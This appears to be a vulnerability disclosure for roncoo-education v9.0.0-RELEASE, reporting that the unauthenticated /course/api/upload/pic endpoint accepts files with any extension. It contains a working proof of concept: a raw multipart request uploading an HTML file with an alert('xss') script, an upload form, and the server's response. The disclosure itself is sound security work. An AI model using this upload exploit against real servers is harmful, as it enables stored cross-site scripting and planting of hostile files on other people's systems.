roncoo-education
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Published
20 hours ago •
roncoo
roncoo
There is a File upload vulnerability exists in roncoo-education
[Suggested description]
File upload vulnerability in roncoo education. Because the identity is not authenticated in the uploadpic upload method of apiuploadcontroller, and the user is allowed to define the file suffix.
[Vulnerability Type]
File upload vulnerability
[Vendor of Product]
https://github.com/roncoo/roncoo-education
[Affected Product Code Base]
v9.0.0-RELEASE
[Affected Component]
POST /course/api/upload/pic HTTP/1.1
Host: localhost
Connection: close
Content-Length: 480
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxOJxWZtarWTvGvWD
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
------WebKitFormBoundaryxOJxWZtarWTvGvWD
Content-Disposition: form-data; name="picFile"; filename="test.html"
Content-Type: image/jpeg
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>alert('xss');</script>
</body>
</html>
------WebKitFormBoundaryxOJxWZtarWTvGvWD--
[Vulnerability proof]
Use the following HTML file to initiate the upload request
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="https://localhost/course/api/upload/pic" method="post", enctype="multipart/form-data">
<input type="file" name="picFile" />
<input type="submit" value="上传" />
</form>
</body>
</html>
Upload any file, here my file source code is
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>alert('xss');</script>
</body>
</html>
The server returns the following data
{"code":200,"msg":"","data":"http://localhost/course/e89eadfcd465481d8ca7075e8e00c412.html"}
[Defective code]
